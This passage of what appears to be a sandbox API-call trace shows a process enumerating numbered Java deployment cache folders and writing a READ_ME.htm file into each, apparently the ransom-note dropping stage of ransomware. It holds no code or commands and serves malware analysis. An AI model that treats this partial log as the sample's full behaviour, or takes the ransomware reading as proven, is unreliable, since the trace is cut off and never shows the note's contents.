"c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\33\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.642] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.642] SetErrorMode (uMode=0x0) returned 0x1 [0147.643] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\33", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\33", lpFilePart=0x0) returned 0x44 [0147.643] SetErrorMode (uMode=0x1) returned 0x0 [0147.643] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\33\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\33\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.643] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.643] SetErrorMode (uMode=0x0) returned 0x1 [0147.643] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\33\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\33\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.643] SetErrorMode (uMode=0x1) returned 0x0 [0147.644] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\33\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\33\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.644] SetErrorMode (uMode=0x0) returned 0x1 [0147.644] GetFileType (hFile=0x1d0) returned 0x1 [0147.644] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d4000*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29d4000*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.646] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\34", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\34", lpFilePart=0x0) returned 0x44 [0147.646] SetErrorMode (uMode=0x1) returned 0x0 [0147.646] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\34\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\34\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.646] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.646] SetErrorMode (uMode=0x0) returned 0x1 [0147.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\34", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\34", lpFilePart=0x0) returned 0x44 [0147.647] SetErrorMode (uMode=0x1) returned 0x0 [0147.647] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\34\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\34\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.647] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.647] SetErrorMode (uMode=0x0) returned 0x1 [0147.647] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\34\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\34\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.647] SetErrorMode (uMode=0x1) returned 0x0 [0147.648] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\34\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\34\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.648] SetErrorMode (uMode=0x0) returned 0x1 [0147.648] GetFileType (hFile=0x1d0) returned 0x1 [0147.648] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d9ef8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29d9ef8*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.650] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\35", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\35", lpFilePart=0x0) returned 0x44 [0147.650] SetErrorMode (uMode=0x1) returned 0x0 [0147.650] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\35\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\35\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.650] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.650] SetErrorMode (uMode=0x0) returned 0x1 [0147.650] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\35", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\35", lpFilePart=0x0) returned 0x44 [0147.651] SetErrorMode (uMode=0x1) returned 0x0 [0147.651] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\35\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\35\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.651] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.651] SetErrorMode (uMode=0x0) returned 0x1 [0147.651] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\35\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\35\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.651] SetErrorMode (uMode=0x1) returned 0x0 [0147.651] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\35\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\35\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.652] SetErrorMode (uMode=0x0) returned 0x1 [0147.652] GetFileType (hFile=0x1d0) returned 0x1 [0147.652] WriteFile (in: hFile=0x1d0, lpBuffer=0x29dfdf0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29dfdf0*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\36", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\36", lpFilePart=0x0) returned 0x44 [0147.654] SetErrorMode (uMode=0x1) returned 0x0 [0147.654] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\36\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\36\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.667] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.667] SetErrorMode (uMode=0x0) returned 0x1 [0147.667] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\36", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\36", lpFilePart=0x0) returned 0x44 [0147.667] SetErrorMode (uMode=0x1) returned 0x0 [0147.668] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\36\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\36\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.668] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.668] SetErrorMode (uMode=0x0) returned 0x1 [0147.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\36\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\36\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.668] SetErrorMode (uMode=0x1) returned 0x0 [0147.668] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\36\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\36\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.671] SetErrorMode (uMode=0x0) returned 0x1 [0147.671] GetFileType (hFile=0x1d0) returned 0x1 [0147.671] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e5ce8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29e5ce8*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.687] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\37", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\37", lpFilePart=0x0) returned 0x44 [0147.687] SetErrorMode (uMode=0x1) returned 0x0 [0147.688] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\37\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\37\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.688] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.688] SetErrorMode (uMode=0x0) returned 0x1 [0147.689] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\37", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\37", lpFilePart=0x0) returned 0x44 [0147.689] SetErrorMode (uMode=0x1) returned 0x0 [0147.689] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\37\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\37\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.689] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.689] SetErrorMode (uMode=0x0) returned 0x1 [0147.689] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\37\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\37\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.690] SetErrorMode (uMode=0x1) returned 0x0 [0147.690] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\37\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\37\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.690] SetErrorMode (uMode=0x0) returned 0x1 [0147.690] GetFileType (hFile=0x1d0) returned 0x1 [0147.690] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ebbe0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29ebbe0*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\38", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\38", lpFilePart=0x0) returned 0x44 [0147.692] SetErrorMode (uMode=0x1) returned 0x0 [0147.692] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\38\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\38\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.693] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.693] SetErrorMode (uMode=0x0) returned 0x1 [0147.693] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\38", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\38", lpFilePart=0x0) returned 0x44 [0147.693] SetErrorMode (uMode=0x1) returned 0x0 [0147.693] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\38\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\38\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.693] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.694] SetErrorMode (uMode=0x0) returned 0x1 [0147.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\38\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\38\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.694] SetErrorMode (uMode=0x1) returned 0x0 [0147.694] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\38\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\38\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.694] SetErrorMode (uMode=0x0) returned 0x1 [0147.695] GetFileType (hFile=0x1d0) returned 0x1 [0147.695] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f1ad8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29f1ad8*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\39", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\39", lpFilePart=0x0) returned 0x44 [0147.695] SetErrorMode (uMode=0x1) returned 0x0 [0147.696] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\39\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\39\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.696] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.696] SetErrorMode (uMode=0x0) returned 0x1 [0147.696] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\39", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\39", lpFilePart=0x0) returned 0x44 [0147.696] SetErrorMode (uMode=0x1) returned 0x0 [0147.697] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\39\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\39\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.697] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.697] SetErrorMode (uMode=0x0) returned 0x1 [0147.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\39\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\39\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0147.697] SetErrorMode (uMode=0x1) returned 0x0 [0147.697] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\39\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\39\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.698] SetErrorMode (uMode=0x0) returned 0x1 [0147.698] GetFileType (hFile=0x1d0) returned 0x1 [0147.698] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f79d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29f79d0*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0147.699] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\4", nBufferLength=0x105, 